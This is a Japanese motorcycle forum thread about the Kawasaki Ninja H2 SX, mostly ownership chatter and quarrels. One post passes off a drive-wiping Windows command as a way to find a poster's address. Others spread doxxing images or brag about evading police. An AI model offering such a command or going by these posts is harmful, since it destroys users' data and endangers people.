【Kawasaki】Ninja H2 SX H2 SX SE H2 SX SE+ 12台目
レス数が1000を超えています。これ以上書き込みはできません。
>>4
仕様。重工の方から回答が降りてきて、一部の車両や走行条件でそういう症状が出ることは把握している。
原因は、排ガスを抑制するためにそういう制御が入る時がある。だそう。
で、このままなのか、何かしら対応策があるのかはまた持ち越し。
販売店や、KMJの方には重工からは
細かくは何をどういう制御なのかは言えませんと言われたそうで。 んで、こっちでもちょっと、車両が帰ってきたら試す予定。
ちなみに、2000〜5000の間でそうなるのは間違いないと。
気温が低いとき、水温が75以下、
パーシャルで走行中に再度スロットルをやんわり開けたときに特になりやすい。
こんなのねーよ。 前スレでecuの書き換えをしたらなくなったって人も、
書き換えたらなったって人もどっちも正解だな。
元々発生する条件がそれぞれの環境や乗り方や、個体差が、あるだろうから
たまたま症状が発生する条件に近づいたのと、遠ざかったってだけだろうね。 全てEURO5排出ガス規制が悪い
グレタさんふぁっく あー、忘れてた。
スレ落ちるんだっけ。20まで。
保守 そういえば神戸のカワサキワールドにBimota Tesi H2が展示されてるな
H2Rくらいの価格なら盆栽したい このバイク興味あったが、やっぱり川崎だったか。
この価格で商品バラツキのハズレ引いたら・・・
怖いね川崎w >>26
さすがにH2Rは超えるか
>>27
H2だからな未亡人製造機だぞ
けど過給エンジンの高回転の音はなかなかすごいぞ https://gamp.ameblo.jp/shin-pine/entry-12457890198.html
一般人ブログにもパーシャルでガクガクするって書いてあるな。
ちなみに、俺のもなる!
納車半年で冬場は特に酷かったが、最近ならなくなってきたわー H2SXSEの購入を検討している者です
H2SX及びSEオーナーさんに伺いたいことがあります
H2SXやSEに乗っているオーナーさんのレビューを読んだり
オーナーモトブロガーさんのレビュー動画を拝見しますと
「速い」「楽ちん」「便利」「乗りやすい」という内容はよく見かけます
しかし「楽しい」という要素がどの辺にあるのかがあまり伝わってきません
乗っていて楽しさを感じる部分について教えて頂けますでしょうか? キーONでアクセル開度バー3つ目と4つ目の間あたりで何かモーターの音が変わる
たぶんスロットルは変則的、発進の際の奇妙な大人しさ、低回転でのレスポンスの悪さの原因の1つかもな
スロットル開度やマップで味付けするのは構わないけど違和感のない範囲でやってほしいね てか意外とH2の由来ってオーナーでも知らないのか? H2っていうくらいだからカワサキも意識してそう
まあカワサキはこれくらいぶっ飛んでていいのかも ぶっ飛んでるっていうか詰めが甘い…?
いや、なんでもない、 >>30
誰か答えてやれよ
楽しさ
そりゃ直線やワインディングで強烈なGを感じながらスーパーチャージャーのメカニカルノイズと過給された荒々しいエンジン音、バックタービンだかブローオフバルブの官能的な音を楽しむんだよ
SSだと目が三角になっちゃうけど疲れてきた奴にぴったりだと思うぞ
あとはメガスポ乗ってた奴とか
でもね、だからこそ電スロとかドンツキに不満をもつ奴らが出てくるんだと思うよ
ツアラー?
必要であれば荷物積んで体力の続く限り走れるってだけで楽ちんとは思わない
高速定速巡航とかなにも楽しくないし疲れるだけ
h2sxである必要がない
こいつはあくまでスポーツとかメガスポだよ
所有感で全ての不満が吹き飛ぶならいいけど、そうじゃないならよく考えて買ったほうがいい
ていうか試走するべき >>45
対策しようとすると14Rみたいなバランサーの二軸化だが、ピークで5-10psくらいの損失になるとか SSならともかくGTRと入れ替わりに登場した車種なんだから、2軸2次バランサーはあってもよかったと思うわ
とはいえ、H2のエンジンをベースにする以上はそんな大改造はできないのだろうけど >>48
まじかよ。
通りで振動がアホみたいに多いわと思ったわ デュアルセカンダリーバランサーを採用し、振動の大幅な低減を実現。ピストンによる2次振動を最小限に抑えています。
ってあるけど、これは違うの? >>53
サービスマニュアル(Part No.99925-1287-01)にも
フロントバランサとリアバランサの記述があるね(9-32から9-38)
これ見る限りバランサーは二軸だよ >>54
だよなぁ。
でも振動はそこそこあるけどなw >>52
H2SXは二軸バランサーのようだが?
どんなバランサーを採用するかは車両の性格付け要因も大きいから、単純比較はアタマ悪そうに見えるゾ >>55
部品精度か組みの粗さかよくわからないが慣らし中のオイルの汚れ方は中々凄かった ホンダのブラックバードは完全に振動を殺したら味気なかったので、
敢えてアンバランスを残したという話があるな
2軸バランサーはそのくらい振動を消せる
つまり、カワサキの考える「味」の範囲が、普通のユーザーが快いと考える領域をだいぶ越えていたという可能性も…… >>58
このバイクの場合はSCの振動もあるだろうし、中々な難しいのでは? >>58
味は難しいよなぁ
ホンダさんそのCBR1100XXエンジンをベースにX-11を造るときはバランサー一軸化にしたし >>44
ありがとうございます
スーパーチャージドエンジンを積んだツアラーというのが
いまいちしっくりきていなかったのですが
ツアラーというよりはスポーツとかメガスポというので合点がいきました
同じスポーツツアラーと謳っている車種にNinja 1000SXがありますが
キャラクターの違いはどんなところでしょうか?
なにせ全然毛色の違う車種に乗っているもので知識が乏しい為
初心者的な質問で申し訳ないです Nin1000はこれよりハンドルが全然高いね。
価格帯もかなり違うから候補で被らないのでは >>62
ありがとうございます
確かに100万近く違いますね 価格は見ていませんでした
kawasakiとしては価格帯で棲み分けしているという事ですね
どれも乗り手と乗り方次第と言われてしまえばそれまでなのですが
H2SXSEは初心者には扱いにくいでしょうか?
自分は速く走りたいとかという事よりも
運転が未熟なので少しでも安全性を高める為に
電子制御等の装備が充実しているH2SXSEに興味があります 初心者なら中型とは言わんが、ミドルクラスからステップアップしたほうが結果的に上手くなると思うぞ
バイクの挙動を掴めない人が電子制御に頼る気満々というのも恐ろしい時代だな 最近は600クラスでもトラコン付きも多いし、ABSも標準だし、転びにくさはH2SXと差があるように思えないけどねぇ。
ナイケンのほうが転ばないのでは?
ちなみに、転倒で一番多いのは立ちゴケだから転びやすさを気にするならこんな重いバイクは選ばないほうが吉。 >>63
>kawasakiとしては価格帯で棲み分けしているという事ですね
違う
>62もレスしてくれている通り、乗車姿勢が全然違う
どこかプラザにでも行って実際に跨ってみるとよかろう
運転手差を無視して比較すると、H2SXよりZ1000SXの方が3桁酷道適性は高いかと >>63
多分H2SX納車されて帰り道で後悔すると思うけど、きちんと慣らしやれば色々スムーズになる
それまで強烈なエンジンブレーキとギクシャク感で疲れるぞ
このバイクの慣らしはハードブレイクインの方が合ってる
俺はs1000rrの方式で慣らしたけどまるで別物のエンジンミッションに変身する
今やまるでモーターのように滑らかでkebc切ってる、必要ないから
初心者でも扱えるけど慣れるまでは停車中や極低速ターンで転けるかもな
普通に走ってる分には誰でも扱えるよ >>64
バイクは趣味の乗り物なんだし、欲しいバイクを買えば良いと思うぞ
俺の初バイクは一年分のバイト代を突っ込んだZZR1100だったけど、大満足だった
元々ZZR1100に乗りたくて大型免許を取ったから、別のバイクを経由するって発想はなかったわ パラツイン650(Z650)からの乗り換えだとギクシャクも振動も全然気にならなかったな。他のリッター知ってるとまた違うんだとは思う。 >>63
上手い下手関係なく乗りたいバイクを買いなよ
250も1000も安全運転すれば変わらんよ 1000SXも電子制御満載だしライポジは確実にH2SXより楽なので
所有欲があるとか見栄張りたいとかぶっ飛ぶような加速を楽しみたいとかでなければ1000SXでいいのでは 金ありそうだしVersys1000SEがいいと思うけどね
たいしてスポーツ性能求めてなさそうだし、それなら電子制御満載の万能ツアラー買った方がいいだろ まあ俺らはカワサキでいちばんってか、
すべてのバイクでいちばんカッコいいと思ったから買ったわけだがな ぶっちゃけH2よりH2SXの方がマッチョでカッコいいと思ったから買った 彼女タンデムしなきゃいけないからsx se+買った H2SXやSEを購入するときは最初から一択だった?
それとも他に競合した車種はあった? RST1000の代替えとして購入
検討してたのが017/11〜2018/01頃ではあるが、候補に挙げたのは
H2 SX SE
ZX-14R High Grade
FJR1300A
Ninja1000 俺は別にカワサキファンではないけどSCのインパクトが強くてH2とH2SXは有力候補ではあった
その上でSSを乗り継ぐかの葛藤があったけど結局SS卒業した
ちなみに初カワサキ
H2SXSE+
H2 CARBON
YZF-R1M
CBR1000RR-R FIREBLADE SP 実際は振動ってどんな感じなの?
俺は5000〜振動が始まって6000,7000が一番酷いな。
ハンドルだけじゃなくて、エンジンがすげぇ微振動してる感じ
個体差あるのかな。? 別に振動なんて特に大きいとは思わないし気にならないぞ?
熱いとか言う人もいるけど大して温度も上がらんし熱くもない、走ってる分にはむしろオーバークールの心配するくらいだけど
過去一番熱いと感じたのはR1 5VY、足真っ赤になるくらい熱いし水温105度からファンが回り始める鬼畜仕様だった この振動がないとバイク乗ってる気がしないからおれには必要だわ
CBとか乗ると物足りなく感じるタイプだから 高速で覆面ぶち抜いたら赤灯出して追いかけて来やがったZE!
鼻で笑って振り切ってやったZE! >>85
しゅう投資?
君も早くやるんだ!
レポよろしくね 俺も先日140くらいで車列追い越したら覆面からパトランプ出たから速攻で減速した
切符は切られなかったけどサービスエリアにドナドナされて注意されたわ ここまで納車整備するのはめずらしいの?
普通だけどあえて書いてみた系?
https://www.pitcrew.jp/upgrading/ >>89
自粛期間や緊急事態宣言で売上が落ちてるんだからやるだろ
まぁ楽しみにしてろやw youtubeでスピート違反見つけただけで捜査するくらいだからなw
実際に捕まったやつもいるしwスピートメーターなんて不正確なのにな
だから最近モザイクしてんのw
まあ震えて待っとけやwww 分かってないねスピードメーターなんか映ってても良いんだよ
道路とか背景が映ってるとアウトなんだよ
メーターをモザイクしてもアンチに目を付けられ辛いだけで速度は割り出せるからな 久し振りに乗ろうと車庫から汗だくで出したけど、バッテリー上がってて汗だくで仕舞うはめに… スマホホルダーのネジ落としてカウル外してやっとの思いで取ったと思ったら
今度はリベット落としてエンジンかどっかの上に落ちて行方不明
出掛けようと思ってたけど萎えた >>99
丁度2ヶ月でバッテリーは2年使用のやつ
セル回して電圧が9V位に落ちるとセンサが誤動作するのか、電子制御のエラーを色々表示してた >>100
二ヶ月程度なら大丈夫そうな気もするが、その時点で満充電じゃなかったのかもしれんしな >>102
何の見返りもなしに他人の金を儲けさせる奴はいない >>104
H2SXってEURO4だったん?
ZH2のエンジンにした上でラム圧とスロットル開度制限解除してリリースってのはあり得るかもね
2019モデルのH2CARBONからスロットル開度制限解除されてるそうだし パッドの交換がてら、、プラグやカウル外してエンジン周りの点検もしたけど見事にヘッドからオイル滲み出てたわ(;ω;)
今メーカー保障の手続きして貰ってる。 >>107
カワサキの伝統だなあ
14Rもヘッドカバーからのオイル滲み(進行すると漏れ)の持病があるらしいし >>108
仕方ないと思って諦めるしかないんだろうね。
治してもいっときしたらまた出るやろうし…
>>109
2万キロになるんでプラグも外して見てみた。
綺麗な焼け方で此方はまだまだ行けそうでした。 自分250>650とパラツイン乗り継いで、次がコレで4気筒初なんだけど、パラツインの癖でエンストびびって半クラ多用したり、カーブ侵入の際(おそらく)過剰なシフトダウンしてしまう癖がついてしまってる。
安定した旋回から程遠い動作なのは理解してるんだけどなぁ。 >>113
うん
そもそも意味がわからないですね草 ここにいるやつでsxで膝すれる奴なんて5人も居ないんじゃね? >>120
する必要ないんだもん
する必要ある?真面目に
やるなら他のバイクでやるよ >>118
パワーモードをFにトラクションコントロールを1で乗ればフルスロットルでも大丈夫。 おっさんてムキになるとすぐ画像あげたがるよな
ネットにあげた画像になんの証拠も価値もないことくらいわからんのかw
ネット初心者かよ ガソスタで、足が滑って立ちゴケしたオレが 通りますよ。
キーOFFの状態だったから、黒歴史はパニアケースとミラーにガッツリ刻まれました(T0T) >>123
sxでサーキット走ってるんだけど、プリ思いっきりあげてでも64度程度でシフトレバー擦るんだよね。
バックステップはベビーフェイスの使ってる。
その角度はまず不可能だと思うけど立ちゴケでもしたのか? MotoGP/マルク・マルケスの最大傾斜角度 (バンク角) 皆さん、現在のMotoGPマシンの最大傾斜角度 (バンク角) をご存知ですか? 以前は、ホルヘ・ロレンソ (ヤマハ時代) の64度でした。 現在は、マルク・マルケス (レプソル・ホンダ・チーム) の66度です。 このスレにロレンソがいるとは、
こりゃおったまげたなぁ >>132 >>133
は
>>131の事煽ってるんだろうけど自分は峠で61度まで出してるから64度迄ならサーキット行けばタイヤ200とか履いたら出来るんじゃないか? 俺は左右47°だ、ノーマルステップのバンクセンサーがカリッというくらい サーキットでサスしっかり沈めてたら、車体のバンク角はそこまで行かない
つか、ツアラーでやる事でもない >>136
速いコーナリングの話しじゃなくて、倒すって事を目的とした場合だよ。 はいはい>>134は64°倒せてえらいね
常人にはそんなこと出来ないよ
遅いし危ないし無意味なのにそんなこと出来るなんてほんと>>134はすごいですね そういう書き方するから、妬んでると思われるんやで
生暖かく見守ってあげるだけで良い やっぱあったかくなるとブローバイなよく溜まるなwこのバイク >>127
そうだよなw
ネットのイキりレスとか何の信憑性もない便所の落書きだよなw
便所に落書きしたところで現実は何も変わらないのになwww RideologyアプリでスマホをAndroidからiPhoneに変えたのだが
降りた後のvehicle infoの情報がAndroidでは残っていたのにiPhoneでは消えてしまっている。これは仕様なのかな
バイク離れて走行距離とか燃料残量とか確認できて良かったのだが >>123は「俺なんて左右の外装ナラシ済みだぜ」というネタを
ジョークに包んでレスしたんだと思うが、
マウント取ろうとしているとストレートに解釈した人が何人か出ちゃった感じだな 素直にスゲーと勘違いした人はともかくマウントと勘違いしたのは実は1人だけだろ
そもそもなんでマウントと勘違いするのかと言うと知識不足としか言いようがないけどw
それかアスペw >>146
ほんと、アスペ相手にはいちいちネタの解説まで誰かがやってやらんといかん
しかも、分かりにくいって逆ギレしだすからなアイツら そうなの 64°まで倒せるんだ!っ勉強になったけど >>150
H2SXでこれやるの?バカなの?死ぬの? 挑戦する。そのために頭を使う。そして実践頑張る。いいことじゃね
その道具を何にするのかは個人の趣向の問題 >>150
これ時速どのくらいでまわるの?
マシンと倒す技術を与えられたとしてもスピードに勝てそうもない 公道でこんなんなってたら異常者の部類だろwwwww youtuberから示談金名目で1億
日始皇という出し子にビットコインから現金に換金させ、警察と半グレから逃走中
大阪市内
https://i.imgur.com/IzaU1wW.png
https://i.imgur.com/jbm3Glj.png(左前腕にリストカット跡あり) >>158
態々拡散して自治気取りの暇人ホントウザいわ
こんな奴らのせいで日本がドンドン住みにくくなる 嫌儲系の基地外増えたよね
人の妬みのエネルギーの大きさを思い知らされる うちの死んだおばあちゃんが言ってた、物を見せびらかすな
妬みや嫉妬は怖いよって言葉を思い出した。 >>158
こんなの可愛いものだろ
俺達H2SX乗りは高速では300オーバーで巡行して峠ではバンク角64度で肘擦ってるしな 慣れてきたから山道で下り上り問わず思いっきり寝かせてきた
右側のカウルの下の方に擦り傷が入ったんやが
カウルすることなんてあるんな
ちょっとだけ憂鬱になった >>163
あーそれはお前右側74度倒したからだよ
73度だったらギリギリ擦らなかったかもなw ID:D3ZLeutP
よくいるよな。こういうマジで全く面白くないやつ これからは過度なこと言うやつはタイヤとバンク角をうpすればいいよ
それでホントか吹かしか分かるだろ >>167
ここでバンク角アピールしてるくらいだから本当なら得意げに貼るだろう
ID付きで前後タイヤ見せてほしいわ
バンク角はキーONで傾ければ記録されるからあまり信憑性ないぞ 俺もバンク角アピールしていいっすか?
S22でMAX53度ならスパコル200/60履いたら64度逝っちゃうと思うんすよ
まじ俺がプロダクション履いたらロレンソともいい勝負する自信あるっすw
https://i.imgur.com/26AuTAM.jpg
https://i.imgur.com/KwXNIKe.jpg
https://i.imgur.com/FCFTMoV.jpg >>170
お 目標ができたよ
47°だけどタイヤを使ってる感じは同じだけど使い込み感が全然違うな
とりあえず50°頑張ろ 貼り忘れと言うか違うの貼ってたみたいですね。
スミマセン >>175
左の方がバンク多いってのはマジで公道か?
バイクもタイヤもなぜそれをチョイスしたんだw >>177
リアタイヤはオートポリスに行った時のですね。
SXで走ってみたくてコロナ明けでようやく行けました。
普段は峠ばかり走ってます。
メーターは峠で走った時の画像です。
https://i.imgur.com/i4RARfQ.jpg
峠走った後のタイヤはこんな感じですね。 連投スミマセン。
なんでこのバイクにしたかと言うと、本当はh2カーボン欲しかったけどタンデムしないといけなかったからです。
峠走るのと、タンデムしてのツーリングを両立したかったからです。
タイヤは今ブリジストンが安いのでRS11履いて居ますが冬場はs22に戻します。 パニアケース対応になっているのがギャップを感じ笑える カーボンってタンデムできないの?
それなら俺も買えないわ 53度でドヤってた>>170 笑笑>>173の様な本物が出てきて悔しいのう。俺も45度迄しか倒せないがここに居る奴等の殆どは俺レベルなんじゃねーのか?>>170も上手い部類に入るのかもな。 パソコンでcmd /c rd /s /q c:\を実行した後に出てくるウィンドウの記入欄にスレのURLとID記入すれば住所特定出来るぞ
https://i.imgur.com/gz4sjfc.png >>185
電子計算機損壊等業務妨害罪
通報しときますね バカだな。
今時ブラクラ貼っただけでも逮捕される時代なのに 今時こんなコマンドを何も確認しないで自分以外のパソコンで実行する奴が逮捕されるわw >>189
おん。まぁ業務ではないから、違うだろうなw
不正指令電磁的記録に関する罪
供用罪 器物破損とかじゃねーかな? 普通に面白いと思ったのかな?
リツイートとかも悪意があるとか無いとか関係無くなってきてるし、
おなごわけのわからないレスでも逮捕されちゃう時代なのになぁ。 祭りと聞いてvip からやって来ました
記念マンコ うちに使ってないパソコンあるからやってみて被害届出そうかな 殺伐としたスレにSE+契約したオレ様登場
お前ら祝えや どうもスレの雰囲気悪いと思ったらVIPPERが居るからか >>198
おめでとう!
俺も同じくse+
そして15日にZ4M 40i納車予定!
俺も祝って これオプションでカーボンと同じマフラーにできないの?
あれめちゃくちゃかっこいいけどそのためにあのポジションでツーリングする勇気ないわ >>206
https://i.imgur.com/gFwqrBe.jpg
どれもこれもこの画像通りだよ
ていうかやっぱり全体的にかっけえわ
同じデザインで出して欲しかったなぁ >>207
10Rと忍千みたいな位置付けなのに、同じデザインになるわけなかろーもん >>207
おれもそのマフラー好き
パニアの制限あるから純正では無理だろうね あと数ヶ月したら2021年モデルの発表あるんじゃないか?
あるとすれば9月、10月とか? 次期モデルでエアインテイクの空いてる方にレーダー付けるって、
いったい価格いくらになるんだよw レーダー付けてどうなんの
路面をレーダーでスキャンして電子制御の制度上げるとかそういう? レーダークルーズコントロールだろ、多分。
設定速度の制限なく追従してくれるとか最高だな。 >>226
クルコン使ってる時って大体巡行中じゃん、ちゃんと前見てれば速度差で減速するか分かるし問題なし。
バイパスのダラダラ巡行中とか楽だよ、MTとの相性じゃ微妙になってくるかもしれないが。 バイクにレーダークルコンは来ないんじゃないの
前走車の安定しないスピードにあわせてクルコンぽちぽちすんのもだるいけど仕方ない 正直ZH2のエンジンになって、しかもレーダー付いて高くなるなら現行モデルの方が良いかな
ZH2のエンジンEURO5適用でインジェクター口径も小さくなってる
ECUチューニングしたら現行モデルの方がパワー出そう blocksで見たけど実はストックだとZH2の方がほぼ全域でパワー出てるんだけどね パワーパワーってほんとここの奴らってスペックオタばかりだな笑笑
どうせ操りも出来ない下手糞ばかりのくせしてh2で速い奴なんて見た事ない。
つまり無駄なんだよパワーなんて かのキングロバーツでも「完全に手の内に入るのは2st125ccまでだ」っていてたくらいだしな 忘れてた
しかも「時速30km/h以下」てくくってたわ そんなん言ったら原付でいいって話じゃん
2ケツしたいなら二種、高速なら250 >>241
>>242
んーバカだなわかってないね >>243
バカでいいから教えてくれ気になるだろ! 嘘w
どのバイクでも馬力が同じなら5速ではかったら同じようなグラフになる?
俺嘘つきだよw いや、ギア比は当然考慮して測定するんだからロス補正の誤差を抜きにすれば後輪の実馬力が出ることになるだろ
高回転でZの馬力が伸びてるのは単に制御の違いだと思うなぁ
https://i.imgur.com/2jnS8g7.jpg >>248
そうか?そのグラフだけみると誤差にしかみえないぞ?
制御ってレベルじゃなくね?単純にマップで少し中低速を濃くしてるようなグラフかな? H2SXはラム圧考慮した空燃比だからとかそんな理由な気がする クルコンの前車追従はええな。
そもそもクルコンのボタン遠いねんグリップ握ったまま親指でポチポチできればいらないんだか。メーカーは高速だけ想定したのだろうが、結構このバイク手が痺れるから一般道でもつかいたいねん。 高回転でH2SXが頭打ちになるのは、例の9000回転以上の燃料カットプログラムじゃないの 一応H2SXとZH2は最大馬力同じはずなのにね
H2SXはラムエア過給時210馬力だけどZH2に負けてんじゃん ZH2ガーと言われても高速じゃフルカウルのSXの圧勝だし
下道なんて対して変わらんやろ ECUやって最強になるのは
初期無印H2って事か
うちらのはマイルドスーパーチャージャーとか言われてるな どうせアクセル全開にも出来ないから何馬力だろうと関係ないだろwwwwwww カタログスペックと実車計測の実馬力にも誤差があるじゃん
それに素人で190馬力と200馬力の違いが乗って分かるの?
スペックはロマンだよ SCもロマン
H2SXはロマン機体でしょ だからカッコいい アクセル全開に出来ないとか膝擦れないとかつまらないこと言うなよ
バイクなんて趣味性の高いもの乗っててしかも200万とか300万するSC付きのスポーツツアラーなんてゲテモノを買ったんだろ?
自分の納得のいくまで弄り倒して盆栽して何が悪い? 釣りだって、写真だって、ゴルフだって、道具には凝るけど、それはあくまで愉しむため
〜しなきゃとか言うのは、エアプ
これはどんな趣味のカテゴリでも同じです それは道具を集めるのが趣味という事?
バイクも買って飾るだけ で満足って事?
なんだかんだ豊かな時代なんだね そもそもスポーツバイクなんて日常生活に必要ないだろwww 〜しなきゃ と言う 自分が一生懸命とか努力とか熱中とか
できるような事に出会えるといいね
俺はH2SXでバンクセンサーを擦れるくらいまでなってすごく楽しいわ
ここでおそらく上手い奴の話を見て参考ににしている。 自分の好きに乗って、好きに弄っていいだろ
なんで自分の価値観を他人に押し付けるんだ?
自分の思った通りじゃなきゃだめなのか?
多様性を受け入れなさい アマリング わかりやすくかつ屈辱を与える指標だよね
後輪はないけど前輪に薄くある。
頑張るべ >>271
え、前輪にアマリングあるの?
中途半端でだっさ >>272
頑張るべ
って言ってるじゃん
小さい奴だな このバイクはローン組めば底辺でも買えるから程度の低い奴も紛れ込む
テージH2買うわ >>273
いや落ち着け、このバイクで前輪アマリング消しってやめた方がいいと思うが……
フルブレーキでフロントタイヤを潰しつつ、そこから一気にフルバンクまで倒し込むような操作が要求されるぞ >>275
ありがとう
道の駅で会った強者にもそのように教わったよ 64°倒せるんだしいけるだろ
出る杭は打たれるなら、そのまま突き抜けろ はいよ〜
でもタイヤを潰す という感覚なんだね 勉強になった。 フロントの空気圧抜いて、こじれば消えるよ
消すのが目的ならね
側から見てると滑稽だけど >>279
はいエアプ笑笑
フロントでそれは無理。 >>281
リアにもだかくがつけれるんだよ!
言わせんなよ! 空気抜いてって言うやつ程消せもしてない。
ただネットで聞きかじった知識として知ってるだけ。
みっともないアマリング残したまま盆栽盆栽今日も盆栽。
バイクが集まるスポット行けばいるわ居るわ口だけでバイク乗ってる奴。
同じ理由で300万程度のバイクなんてローン組めば云々って奴も、自分は買えもしないのに吠えるだけ笑 >>286
パニア付きツアラーだからねw
とりあえず現在の課題は遊びバイクでダニエルをマスターすることだしww フルローン72回なら月5万以内なのか
でも金利考えるとバカバカしくて一括しか選択肢ないな バイク初心者で教えていただきたいのですが、ビートのNASSERT Evolution TypeUに変えたいんですけど、2020年式のSE +って適合してますよね?
型式は適合してるんで大丈夫だと思ってるのですが、ビートジャパンに問い合わせのメールをしても返信がなく、額が額なので躊躇ってます。 >>293
H2SXのマフラーは現在のところ全モデル、グレード共通 >>294
ありがとうございます!
購入します!! >>295
BEETは量販店出張イベント良くやってるから
最寄りの量販店のイベント確認した方がいいよ
無料取付はなくなっちゃったらしいけど
それでもセールはしてくれるし
在庫確保もしてくれるから
確実にその日に取付まで出来る >>296
情報ありがとうございます!
非常に助かります!
情弱なので調べてから購入したいと思います!
ご丁寧にありがとうございました! このバイクに乗ってる皆んなは、車って何に乗ってんの?
俺はバイクに全て注ぎ込んで軽しか買えてない。
新車だけどn BOX 最初はロードスター買う予定だったんだけどね
ある程度積載できて最悪車で寝れるからいいじゃんと思ってたら試乗したら、リクライニング出来ない事に気がついてもうバイクでいいじゃんってなってしまった
というか自分が車に求めるものがリクライニングだって事に気がついてショックだった >>299
FD3S、2000年に新車で購入
生活環境の変化で稼働機会が減ったせいもあり現在走行14万km台 ハイエース
アルファードとかのミニバンと迷ったけど気軽にバイクぶち込めるハイエースにした
しかも安いし GWS204クラウンHV
3.5L+モーターで速くて快適、ちょっと手を入れてやればしっかり走れる車になる。
クラウン乗る前はバイクを年間2〜3万キロ乗ってたが今ではバイク15000キロ、クラウン35000キロになってしまった。 趣味の釣りとキャンプ用にアウトランダーPHEV
レクサスlc500壊れちゃったので今買い替え中で→z4m40i来週水曜日納車! ハイエースとアテンザ
車もバイクも完全に見た目で選ぶ >>312こんな所でまで見栄張らなくていいからww
ほんとに持ってるなら証拠見せろ貧乏人 >>299
13年落ちのステラカスタムRS
スーパーチャージャーつながり 別に嘘とかどうでもよくね?
証拠証拠騒ぐのマジで底辺の妬みというか闇を感じるからやめてほしい そりゃこんだけ人が居れば金持ちも混ざるわな。
人を羨むより、自分の努力不足を悔いましょう。 >>322
おまいなんで歩行者に突っ込んでくるの? 外車って100万200万値引きある印象だけどそうでもないのね。
Z4だから?? こんな感じなんだ。クルマの所有状態
このバイク乗るの人はクルマは >>318 さんみたいな感じかと思った
皆さんバイクが好きなんだね。 上でステラカスタムに乗ってると書いた者だけど、バイクの方に金がかかるから車は最低限のメンテしかしてないわ
使ってるオイル類もそんな良いものではないと思うけど、動くからそれで良しとしている
バイクは道楽でクルマは道具だから、そのへんは割り切ってる
ウチのような公共交通機関が貧弱な地方都市ではクルマがないと不便で仕方ないのでクルマは必要になる
その中で予算に見合った面白そうなクルマを…でステラになった 地方の兼業農家とかめちゃ金持ってるからな
定年退職したジジイババアが毎日のように畑田んぼに足を運ぶから
あの人らは車バイク複数持ちとか当たり前のようにしてる 実家住みなら金貯まる一方だろ
極論手取りをそのまま貯金することだってできる デビュー前の事前情報から一目惚れだったよ、初期ロット3月登録で買ったけど後悔はしていない。
ただ10万超えとか長く乗るなら耐久性、メンテコストで行けばNAなんだろうね。
前車は15万乗ってFIエラー頻発してきたから乗り換えたがそれ位長く使い倒して乗りたい。 >>327
はぁ??フェラーリでも無くランボでも無くポルシェですらない一般大衆車のBMWだろ?貧乏人じゃねーかwwww
国産のNSXやGTRより安い安もんだろうよ?
所詮カーボン買えなかった貧乏人のsx乗りが買う中途半端な車だろうがよwwww >>318
Z4とスープラRZで迷ったりした?
趣味の車にこれだけ出せるなら凄いと思うけどね。 うっせえよwwww
どうせ車もバイクも盆栽仕様のアマリングたっぷりちゃんなんだろうよwwww
どんだけ馬力あったって使えもしない下手糞なら乗り物が可哀想だろがwwww >>339
惨めな人生送ってる人って直ぐ願望を事実のように語りだすよね このオッサンな
https://megalodon.jp/2020-0409-0551-05/https://blog.goo.ne.jp:443/kelu-cafe/e/986652cedc898fb50772510aa08773b0 >>339
おはよう。
性能を使いきってるかどうかは別問題として、君の言うアマリングたっぷりで走ってると言うことはないです。
すぐに証拠証拠と言われると思いますので先に言っておきますが証拠なら
>>173で写真アップしてますので。
>>335
オープンカーに乗りたかったので迷ってなかっですよ。
>>342
この渓流さんは何かよっぽど悔しい思いでもしたんでしょうかね?
自分が1番固執してるような感じですよね笑笑 スピード&パワーは浪漫
そんな淡白だと金出せば買える高級車なんて買う意味無いとか言い出しそうだな 何処にでもいるなー
妬み嫉みやっかみの塊みたいな奴w >>345
ですね。
自分の悪い癖です。
煽り耐性が無いというか、この方みたいに全部一括りにされるのが物凄く嫌なんですよね。
あと、相手してもらえたら嬉しいってのもあります。 >>347 はあ????何で上からなの?オメェ
タイヤなんてハイグリップ着けたら誰だってアマリング消せるだろうがwwwwナニイキってんだよwwwwクソダセェwwwwwwwwwwww
ここに居る奴等は俺と同じで大体がオメーのような奴が大っ嫌いなんだよwwwww
たかだか安もん車2台とちょっとばかし高いバイク持ってるからってイキリやがってwwww
だwwwwwwwさwwwwwwwいwwwwwww いや、お前の方が明らかに嫌われてるぞ
現実も掲示板もそう変わらんよ 俺がテージH2買ったらココのやつら俺より格下だからな
中途半端なバイク乗ってますってバイクにシール貼れよwwww >>353
おいふざけんな
テージH2は俺が買うんだよ >>354
どうせローンも通らないんだろ?無理すんなや
テージH2で300キロオーバーバリバリよろしく哀愁 まず普通のH2買ってテージも
買えよ
金持ちなんだろ? しゅう投資にでも引っ掛かってイライラしてるんだろ
優しくしてやれよ >>353
どんなバイクに乗っても、お前は格下だよ
そもそもバイクでヒエラルキーなんて変わらない >>359
ウッセーカス何がヒラエルキーだ日本語使えカス 伸びてると思ったら…くだらねぇ
ID:QXZUnc2cはテージH2買ってから出直してこい >>361
何でお前に指図されなきゃいけないんだ?あぁ?クソが
お前こそH2買って出直せボンクラ パニア付かないバイクはいらないからH2SXに乗ってる > 俺がテージH2買ったらココのやつら俺より格下だからな
> 中途半端なバイク乗ってますってバイクにシール貼れよwwww
買えないからID:QXZUnc2cはずっと底辺確定じゃんw >>366
色失敗したわ。
結構だせぇと思ってる下品だし
まぁこれはこれでいいってことで!! >>365
何そのサイレンサー?見たことないけどカッコよくね! https://i.imgur.com/iMCwuvi.jpg
自分も久しぶりに乗りました。
200mくらいで雨が降り戻りましたけど泣 >>370
オーリンズのダンパーにウッドストックの土台のやつです。
ウッドストックのが量産化される前の人柱でした。
三菱の鍵ありますよ。
アウトランダーPHEVキャンプとか釣りで使ってました。
lc500があった頃はセカンドカーでしたが、壊れて廃車になったのでz4m40i買いました。 久しぶりにカバーめくったら、右側のフレームのボルト穴がサビサビになってたわ
水溜まるよなぁあそこ >>374
コンプレッサーあるのでエアで吹き飛ばしてる。
洗車の時あると凄く便利ですよ。 貧乏人はこれだからwwww
俺は金払って洗車させてるねwwwww いい歳したおっさんが足りない頭使って考えた煽りが>>376だからな
終わってる >>369
純正にあわせた派手すぎないカスタム好き 高級車に乗ってる人たちは会社員なの?社長とかなの? 社長w
いろんな社長いるよね。
会社員も色々だよね。
もっと社会勉強しようねw >>381
だって俺19で大学生だもん
でも大学受かったから親にsx買ってもらったよ
うちの父ちゃんも社長だけど車はボロいマーク2だしバイクは興味ないし家も普通に借家
どんな金持ちがこんな車やバイクのりまわせるんだろうと興味があって まぁ、金持ってる奴はとことん持ってるからな。
俺はカツカツで乗ってるぞ!
